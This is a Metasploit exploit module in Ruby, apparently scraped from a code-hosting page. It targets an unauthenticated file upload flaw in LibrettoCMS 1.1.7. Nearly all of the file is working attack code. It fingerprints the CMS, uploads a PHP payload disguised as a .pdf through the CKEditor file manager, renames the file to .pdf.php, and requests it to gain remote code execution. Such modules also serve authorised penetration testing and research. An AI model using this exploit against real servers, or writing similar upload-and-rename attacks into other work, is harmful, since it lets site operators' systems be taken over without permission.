Path: blob/master/modules/exploits/unix/webapp/libretto_upload_exec.rb
24992 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::PhpEXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",16'Description' => %q{17This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and18possibly prior. Attackers can bypass the file extension check and abuse the upload19feature in order to upload a malicious PHP file without authentication, which20results in arbitrary remote code execution.21},22'License' => MSF_LICENSE,23'Author' => [24'CWH',25'sinn3r' # Metasploit26],27'References' => [28['CVE', '2013-10054'],29['OSVDB', '94391'],30['EDB', '26213']31],32'Payload' => {33'BadChars' => "\x00"34},35'Platform' => %w{linux php},36'Targets' => [37[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],38[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]39],40'Privileged' => false,41'DisclosureDate' => '2013-06-14',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])54]55)56end5758def check59res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })60if not res61vprint_error("Connection timed out")62return Exploit::CheckCode::Unknown63end6465if res.body =~ /Powered by <a href=".+">Libretto CMS/66return Exploit::CheckCode::Detected67end6869Exploit::CheckCode::Safe70end7172def upload(base)73p = get_write_exec_payload(:unlink_self => true)74fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"7576data = Rex::MIME::Message.new77data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")78data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")79data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')80post_data = data.to_s8182uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')8384res = send_request_cgi({85'method' => 'POST',86'uri' => uri,87'ctype' => "multipart/form-data; boundary=#{data.bound}",88'data' => post_data,89'vars_get' => { 'type' => 'all files' }90})9192if not res93fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")94elsif res.code.to_i != 20095fail_with(Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")96end9798fname99end100101def rename(base, original_fname)102new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"103uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')104res = send_request_cgi({105'method' => 'POST',106'uri' => uri,107'vars_get' => { 'type' => 'all files' },108'vars_post' => {109'fun' => 'renameFile',110'dir' => '',111'filename' => original_fname,112'newFilename' => new_name113}114})115116if not res117fail_with(Failure::Unknown, "#{peer} - Request timed out while renaming")118elsif res.body !~ /"res":"OK"/119fail_with(Failure::Unknown, "#{peer} - Failed to rename file")120end121122new_name123end124125def exec(base, payload_fname)126res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })127if res and res.code.to_i == 404128fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")129end130end131132def exploit133base = target_uri.path134135print_status("Uploading malicious file...")136orig_fname = upload(base)137138print_status("Renaming #{orig_fname}...")139new_fname = rename(base, orig_fname)140141print_status("Executing #{new_fname}...")142exec(base, new_fname)143end144end145146147